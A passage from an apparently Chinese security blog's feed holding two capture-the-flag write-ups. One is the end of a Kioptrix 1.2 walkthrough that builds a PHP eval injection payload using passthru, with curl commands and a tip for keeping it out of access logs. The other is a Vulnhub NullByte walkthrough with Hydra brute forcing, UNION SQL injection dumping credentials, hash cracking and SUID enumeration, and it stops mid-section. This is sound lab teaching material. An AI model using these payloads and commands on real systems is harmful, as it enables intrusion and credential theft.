&lt;p&gt;&lt;strong&gt;目标&lt;/strong&gt;：让 eval 执行我们注入的代码，而不只是把它当字符串处理。&lt;/p&gt;
&lt;p&gt;以 &lt;code&gt;passthru(&apos;id&apos;)&lt;/code&gt; 为例，逐步推导：&lt;/p&gt;
&lt;h3&gt;第一步：尝试直接注入&lt;/h3&gt;
&lt;p&gt;传入 &lt;code&gt;page=passthru(&apos;id&apos;)&lt;/code&gt;，eval 收到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new PageStarter(&apos;passthru(&apos;id&apos;)&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;passthru(&apos;id&apos;)&lt;/code&gt; 在单引号字符串里，只是普通文字，不会执行。&lt;/p&gt;
&lt;h3&gt;第二步：用 &lt;code&gt;&apos;&lt;/code&gt; 逃出字符串&lt;/h3&gt;
&lt;p&gt;传入 &lt;code&gt;page=index&apos;&lt;/code&gt;，eval 收到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new PageStarter(&apos;index&apos;&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;左边的 &lt;code&gt;&apos;&lt;/code&gt; 与我们注入的 &lt;code&gt;&apos;&lt;/code&gt; 配对，字符串提前结束了。但后面多出一个 &lt;code&gt;&apos;&lt;/code&gt; 和 &lt;code&gt;);&lt;/code&gt;，语法报错。&lt;/p&gt;
&lt;h3&gt;第三步：用 &lt;code&gt;)&lt;/code&gt; 和 &lt;code&gt;;&lt;/code&gt; 补全第一条语句&lt;/h3&gt;
&lt;p&gt;传入 &lt;code&gt;page=index&apos;);&lt;/code&gt;，eval 收到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new PageStarter(&apos;index&apos;);&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第一条语句 &lt;code&gt;new PageStarter(&apos;index&apos;);&lt;/code&gt; 在语法上完整了。但模板末尾的 &lt;code&gt;&apos;);&lt;/code&gt; 还留着，语法仍然错误。&lt;/p&gt;
&lt;h3&gt;第四步：插入我们的代码&lt;/h3&gt;
&lt;p&gt;传入 &lt;code&gt;page=index&apos;);passthru(&apos;id&apos;);&lt;/code&gt;，eval 收到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new PageStarter(&apos;index&apos;);passthru(&apos;id&apos;);&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在有两条语句，第二条是我们的命令。但末尾 &lt;code&gt;&apos;);&lt;/code&gt; 依然是语法错误。&lt;/p&gt;
&lt;h3&gt;第五步：用 &lt;code&gt;//&lt;/code&gt; 注释掉模板残留&lt;/h3&gt;
&lt;p&gt;传入 &lt;code&gt;page=index&apos;);passthru(&apos;id&apos;);//&lt;/code&gt;，eval 收到：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;new PageStarter(&apos;index&apos;);   // 第①条：正常执行
passthru(&apos;id&apos;);              // 第②条：执行系统命令
//&apos;)                         // 模板残留，被注释掉，不执行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;//&lt;/code&gt; 是 PHP 单行注释符，其后所有内容被忽略。模板多出来的 &lt;code&gt;&apos;);&lt;/code&gt; 就此消失，整段代码语法完全合法，两条语句都会被执行。&lt;/p&gt;
&lt;h3&gt;payload 各字符对照表&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字符&lt;/th&gt;
&lt;th&gt;作用&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;index&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;合法页面名，让 PageStarter 正常实例化，不产生报错&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;&apos;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;闭合模板中 &lt;code&gt;Starter(&apos;&lt;/code&gt; 的左单引号，逃出字符串&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;关闭函数调用的括号&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;结束第一条语句&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;passthru(&apos;id&apos;)&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;我们注入的代码，执行系统命令&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;;&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;结束注入语句&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;//&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;注释掉模板末尾残留的 &lt;code&gt;&apos;);&lt;/code&gt;，防止语法错误&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;h2&gt;7.5 传参方式&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;getInputString()&lt;/code&gt; 同时支持 GET 和 POST，两者均可触发漏洞。实际利用时推荐 POST：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# GET 方式（参数暴露在 URL，受长度限制）
curl &quot;http://TARGET/lcms/index.php?page=index&apos;);passthru(&apos;id&apos;);//&quot;

# POST 方式（推荐，绕过 URL 长度限制，不记录在 access.log）
curl -s -X POST &quot;http://TARGET/lcms/index.php&quot; \
     --data &quot;page=index&apos;);passthru(&apos;id&apos;);//&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;MSF 模块（EDB #18565）选择 POST 方式，原因之一是 payload 超过 4000 字节时 GET 会触发 HTTP 414 错误。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260502221605970.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;7.6 攻击链总结&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;用户输入（page 参数）
       ↓
getInputString() 原样取出，ENT_NOQUOTES 不转义引号
       ↓
拼入 eval 模板字符串
       ↓
eval() 将拼接结果当作 PHP 代码执行
       ↓
注入的 passthru() 调用系统命令
       ↓
获得 www-data 权限的命令执行
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;漏洞的根源是 &lt;strong&gt;eval 的不安全拼接&lt;/strong&gt;，&lt;code&gt;getInputString&lt;/code&gt; 的无引号过滤是使其可利用的前提条件。两者缺一不可：如果引号被转义，&lt;code&gt;&apos;&lt;/code&gt; 变成 &lt;code&gt;\&apos;&lt;/code&gt;，字符串就逃不出去；如果没有 eval，拼接本身不造成危害。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Kioptrix1.2/image-20260502221636404.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Vulnhub NullByte WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/05/nullbyte/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/05/nullbyte/</guid><description>Vulnhub NullByte 靶机 Writeup，涉及 Hydra 暴力破解、SQL 注入多种利用方式、SUID 提权等技术</description><pubDate>Tue, 05 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;&lt;strong&gt;靶场介绍：&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Vulnhub 的一台靶机，难度 basic to intermediate。对 SQL 注入的利用方式进行多种练习，提权部分学习了 SUID 提权的利用方式。&lt;/p&gt;
&lt;p&gt;Nullbyte，涉及 Hydra 表单暴力破解，John md5 哈希暴力破解，手工 SQL 注入数据库信息猜解、SQL 注入数据库写入一句话木马、写入反弹 shell，使用 SQLmap 自动化注入，可谓 SQL 注入技能大赏。提权用具有 SUID 权限的可执行文件，执行我们写入的 shell 的方式实现。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Download&lt;/strong&gt;: &lt;a href=&quot;http://ly0n.me/nullbyte/NullByte.ova.zip&quot;&gt;http://ly0n.me/nullbyte/NullByte.ova.zip&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;&lt;strong&gt;涉及工具：&lt;/strong&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;nmap&lt;/li&gt;
&lt;li&gt;dirsearch&lt;/li&gt;
&lt;li&gt;hydra&lt;/li&gt;
&lt;li&gt;sqlmap&lt;/li&gt;
&lt;li&gt;exiftool&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;1.信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;80/tcp    open  http
111/tcp   open  rpcbind
777/tcp   open  multiling-http
43104/tcp open  unknown
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;PORT      STATE SERVICE VERSION
80/tcp    open  http    Apache httpd 2.4.10 ((Debian))
|_http-title: Null Byte 00 - level 1
|_http-server-header: Apache/2.4.10 (Debian)
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          43104/tcp   status
|   100024  1          49883/udp   status
|   100024  1          50993/udp6  status
|_  100024  1          55550/tcp6  status
777/tcp   open  ssh     OpenSSH 6.7p1 Debian 5 (protocol 2.0)
| ssh-hostkey: 
|   1024 16:30:13:d9:d5:55:36:e8:1b:b7:d9:ba:55:2f:d7:44 (DSA)
|   2048 29:aa:7d:2e:60:8b:a6:a1:c2:bd:7c:c8:bd:3c:f4:f2 (RSA)
|   256 60:06:e3:64:8f:8a:6f:a7:74:5a:8b:3f:e1:24:93:96 (ECDSA)
|_  256 bc:f7:44:8d:79:6a:19:48:76:a3:e2:44:92:dc:13:a2 (ED25519)
43104/tcp open  status  1 (RPC #100024)
MAC Address: 00:0C:29:93:78:0C (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 26 02:11:14 2026 -- 1 IP address (1 host up) scanned in 13.00 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;[!tip] 知识触发
详细扫描中发现 111 端口，存在 RPC 服务。此时 TCP 扫描探测到 RPC 后，&lt;strong&gt;必须立刻追加 UDP 扫描&lt;/strong&gt;，因为很多实际挂载的脆弱服务（如 NFS）仅支持或高度依赖 UDP。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;UDP 扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;111/udp   open   rpcbind
777/udp   closed multiling-http
43104/udp closed unknown
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h2&gt;1.2 Web 信息收集&lt;/h2&gt;
&lt;h3&gt;页面信息检索&lt;/h3&gt;
&lt;p&gt;访问 &lt;code&gt;http://192.168.200.147/&lt;/code&gt;，页面仅显示一张图片和一句话，表面上没有明显的有用信息。可以查看页面源码，排查是否有遗漏的线索。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326190649165.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;页面源码：&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Null Byte 00 - level 1&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;main.gif&quot;&amp;gt;
&amp;lt;p&amp;gt; If you search for the laws of harmony, you will find knowledge. &amp;lt;/p&amp;gt;
&amp;lt;/center&amp;gt;  
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;简单排查下来就是一个很正常的页面，一张图片加一句话，没有什么可以利用的点。&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;目录爆破&lt;/h3&gt;
&lt;h4&gt;命令：&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u &quot;http://192.168.200.147&quot; -o dir_147.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326142103879.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;扫描到可用目录&lt;/strong&gt;&lt;/h4&gt;
&lt;p&gt;对目标进行目录扫描，发现了以下可用路径：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;301   323B   http://192.168.200.147/javascript/
301   323B   http://192.168.200.147/phpmyadmin/
200     9KB  http://192.168.200.147/phpmyadmin/index.php
200   110B   http://192.168.200.147/uploads/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;phpMyAdmin 测试&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;/phpmyadmin/index.php&lt;/code&gt;，尝试了几组默认凭据，但&lt;strong&gt;无法登入&lt;/strong&gt;。需考虑后续是否进行弱口令爆破或寻找配置文件。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260330215424496.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Uploads 目录&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;访问 &lt;code&gt;/uploads/&lt;/code&gt; 提示 &lt;code&gt;Directory listing not allowed here.&lt;/code&gt;。目前无法直接查看该目录下的文件，可能需要后续结合文件上传漏洞进行利用。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260330215354213.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;回看首页&lt;/h3&gt;
&lt;p&gt;爆破的目录中没有尝试到可以获取立足的点，回看首页中的图片，下载图片，去分析一下图片中有没有藏有隐写的信息。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;下载图片：&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326190845580.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;查看隐写信息&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;exiftool main.gif
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326190906369.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;&lt;strong&gt;隐写内容：&lt;/strong&gt;&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;ExifTool Version Number         : 13.25
File Name                       : main.gif
Directory                       : .
File Size                       : 17 kB
File Modification Date/Time     : 2015:08:01 12:39:30-04:00
File Access Date/Time           : 2026:03:26 07:06:13-04:00
File Inode Change Date/Time     : 2026:03:26 07:05:47-04:00
File Permissions                : -rw-rw-r--
File Type                       : GIF
File Type Extension             : gif
MIME Type                       : image/gif
GIF Version                     : 89a
Image Width                     : 235
Image Height                    : 302
Has Color Map                   : No
Color Resolution Depth          : 8
Bits Per Pixel                  : 1
Background Color                : 0
Comment                         : P-): kzMb5nVYJw
Image Size                      : 235x302
Megapixels                      : 0.071
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在 comment 信息中的一段字符引起了我的注意。这串字符有何用途？是 phpmyadmin 的密码？是 ssh 的登入密码？是网页路径？我决定去逐一进行尝试。&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Comment : P-): kzMb5nVYJw&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;新的目录 (/kzMb5nVYJw)&lt;/h4&gt;
&lt;p&gt;在尝试将其作为 Web 目录路径进行拼接访问时，页面成功响应，这确认了该字符串确实是一个隐藏路径。访问该页面后，发现一个带有 &quot;key&quot; 提示的输入框，似乎需要输入某种密码或密钥。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326191511195.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;看页面源码提示有这样一句话&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;此表单未连接至 MySQL，密码也并不复杂。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326192142269.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;手工盲猜了几次常见弱密码均未成功，考虑到提示说密码不复杂，我决定使用 Hydra 配合字典进行暴力破解。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;hydra 192.168.200.147 http-form-post &quot;/kzMb5nVYJw/index.php:key=^PASS^:invalid key&quot; -l ok -P /usr/share/wordlists/rockyou
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326201803144.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;密码：elite&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;进入到新的页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326204150780.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;提交表单后页面发生了跳转，去查看当前页面的源码，看看表单指向的地址是哪里：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326204011316.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;同样一个页面怎么可以显示两种内容，有其他的方法绕过吗，后续查看源码。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;跳转的页面可以直接访问：&lt;code&gt;http://192.168.200.147/kzMb5nVYJw/420search.php&lt;/code&gt;。不过这并没有太多影响，可以看出显示了两段用户的信息。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326204605738.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是退回前一个页面（认证后的搜索页）尝试输入测试字符。这个搜索框很可能存在注入点，接下来我将重点针对此处进行 SQL 注入测试。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326204755643.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;2. SQL 注入获取凭证&lt;/h1&gt;
&lt;h3&gt;Union 注入查询&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;下面是一次非常常见的 union 注入查询，关于详细的 union 查询请看：&lt;a href=&quot;0x002-union%E8%81%94%E5%90%88%E6%B3%A8%E5%85%A5.md&quot;&gt;0x002-union 联合注入&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;验证是否存在注入点，并尝试探测闭合符号：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?usrtosearch=&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326205533107.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;测试当前表的列数，并寻找页面上的回显位：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?usrtosearch=&quot; union select 1,2,3 -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326205647156.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;确定回显位后，开始探测数据库的基础信息，发现当前数据库名为 &lt;code&gt;seth&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?usrtosearch=&quot; union select @@version(),user(),database() -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326210702199.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;顺藤摸瓜，继续查询表名，发现了 &lt;code&gt;users&lt;/code&gt; 表：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?usrtosearch=&quot; union select 1,2,group_concat(table_name) from information_schema.tables 
where table_schema=database() -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326205837138.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进一步查询 &lt;code&gt;users&lt;/code&gt; 表中的列名，成功获取到 &lt;code&gt;id&lt;/code&gt;, &lt;code&gt;user&lt;/code&gt;, &lt;code&gt;pass&lt;/code&gt;, &lt;code&gt;position&lt;/code&gt; 等关键字段：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?usrtosearch=&quot; union select 1,2,group_concat(column_name) from information_schema.columns 
where table_schema=database() and table_name=&apos;users&apos; -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326210015074.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;目标明确，直接构造 payload 开始提取数据（脱库）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;?usrtosearch=&quot; union select 1,2,group_concat(id,&apos;|&apos;,user,&apos;|&apos;,pass,&apos;|&apos;,position,&apos;&amp;lt;br&amp;gt;&apos;) from seth.users -- -
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326210339391.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;梳理得到以下数据。根据之前获取的字段结构可以判断，其中这串较长的字符应该就是该用户的密码&lt;/p&gt;
&lt;pre&gt;&lt;code&gt; 1|ramses|YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE|  
,2|isis|--not allowed--|employee
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;破解字符串&lt;/h3&gt;
&lt;p&gt;base64解码&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;decode: c6d6bd7ebf806f43c76acc3681703b81&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326211045196.png&quot; alt=&quot;base64解密操作命令&quot; /&gt;&lt;/p&gt;
&lt;p&gt;hash-identifier 检查解密出来的字符属性，工具判断出来之前 base64 解密出来的字符属于 md5 值，继续解密&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326211140827.png&quot; alt=&quot;检查字符属性&quot; /&gt;&lt;/p&gt;
&lt;p&gt;使用 john 爆破...&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt hash_md5.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326211604083.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;得到解密出来的密码：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;ramses:omega&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;拿到明文凭据后，尝试使用该用户名和密码通过 SSH 服务登录目标机：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ssh ramses@192.168.200.160 -p 777
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;登入成功&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326211717381.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;3.权限提升&lt;/h1&gt;
&lt;p&gt;尝试查看当前用户的 &lt;code&gt;sudo&lt;/code&gt; 权限，系统反馈显示当前用户 &lt;code&gt;ramses&lt;/code&gt; 并不在 sudoers 列表中，无法直接通过 sudo 提权。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/NullByte/image-20260326212032451.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;尝试提权&lt;/h3&gt;
&lt;p&gt;既然常规路径走不通，我决定转向 SUID 提权思路，搜索系统中配置了 SUID 权限的可执行文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -perm -u=s -type f 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参数含义：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;find /&lt;/code&gt;：从系统最底层的根目录（&lt;code&gt;/&lt;/code&gt;）开始地毯式搜索。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-perm -u=s&lt;/code&gt;：寻找带有 &lt;strong&gt;SUID (Set Owner User ID)&lt;/strong&gt; 权限的文件。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-type f&lt;/code&gt;：只查找普通文件（排除目录、链接等）。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;2&amp;gt;/dev/null&lt;/code&gt;：将系统报错（比如常见的“Permission denied”权限拒绝提示）直接丢弃。这样你的屏幕上就只会出现成功找到的结果，不会被垃圾信息淹没。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;[!tip]
&lt;strong&gt;提权的时候为什么要这么做？&lt;/strong&gt; 在 Linux 系统中，如果一个程序被设置了 SUID 权限，且它的所有者是 &lt;code&gt;root&lt;/code&gt;，那么无论谁运行这个程序，&lt;strong&gt;程序在运行的这一瞬间都会“临时借用” root 的最高权限&lt;/strong&gt;。 提权的核心思路就是：找到这些拥有 SUID 的程序，然后想办法让它“不务正业”，去执行我们想要的恶意代码（比如弹出一个 root 权限的 bash shell）。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;查询到的内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/usr/lib/openssh/ssh-keysign
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/eject/dmcrypt-get-device
/usr/lib/pt_chown
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/bin/procmail
/usr/bin/at
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/pkexec
/usr/bin/passwd
/usr/bin/sudo
/usr/sbin/exim4
/var/www/backup/procwatch
/bin/su
/bin/mount
/bin/umount
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;为了进一步缩小范围，我尝试搜索属于 &lt;code&gt;ramses&lt;/code&gt; 用户组的文件。考虑到 &lt;code&gt;/proc&lt;/code&gt; 目录下包含大量动态生成的进程信息，会产生很多干扰项，我使用了反向过滤。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;find / -group ramses -type f 2&amp;gt;/dev/null |grep -v &apos;/proc&apos;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查询到的内容：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/sys/fs/cgroup/systemd/user.slice/user-1002.slice/user@1002.service/tasks
/sys/fs/cgroup/systemd/user.slice/user-1002.slice/user@1002.service/cgroup.procs
/home/ramses/.bash_logout
/home/ramses/.bash_history
/home/ramses/.profile
/home/ramses/.bashrc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;参数含义：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;-group ramses&lt;/code&gt;：寻找所属组为 &lt;code&gt;ramses&lt;/code&gt;（也就是你当前控制的账户组）的所有文件。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;| grep -v &apos;/proc&apos;&lt;/code&gt;：你非常聪明地加上了这半句。&lt;code&gt;/proc&lt;/code&gt; 目录包含了系统内存和当前运行进程的虚拟信息，不仅对我们提权没啥帮助，还会产生大量无用的输出。&lt;code&gt;grep -v&lt;/code&gt; 就是反向过滤，把包含 &lt;code&gt;/proc&lt;/code&gt; 的结果全部剔除。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;在 SUID 的搜索结果中，我发现了一个非常可疑的路径：&lt;code&gt;/var/www/backup/procwatch&lt;/code&gt;。通常情况下，Web 备份目录下不会存放具有 SUID 权限的二进制程序，这极有可能是开发者留下的隐患或提权的突破口。&lt;/p&gt;
&lt;p&gt;我又去检查了当前用户的 &lt;code&gt;bash_history&lt;/code&gt;。历史记录显示该程序曾被运行过，这进一步印证了我之前的猜测。结合其特殊的权限设置，我决定重点分析这个文件。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ramses@NullByte:~$ history
    1  sudo -s
    2  su eric
    3  exit
    4  ls
    5  clear
    6  cd /var/www
    7  cd backup/
    8  ls
    9  ./procwatch 
   10  clear
   11  sudo -s
   12  cd /
   13  ls
   14  exit
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;确认目标&lt;/h3&gt;
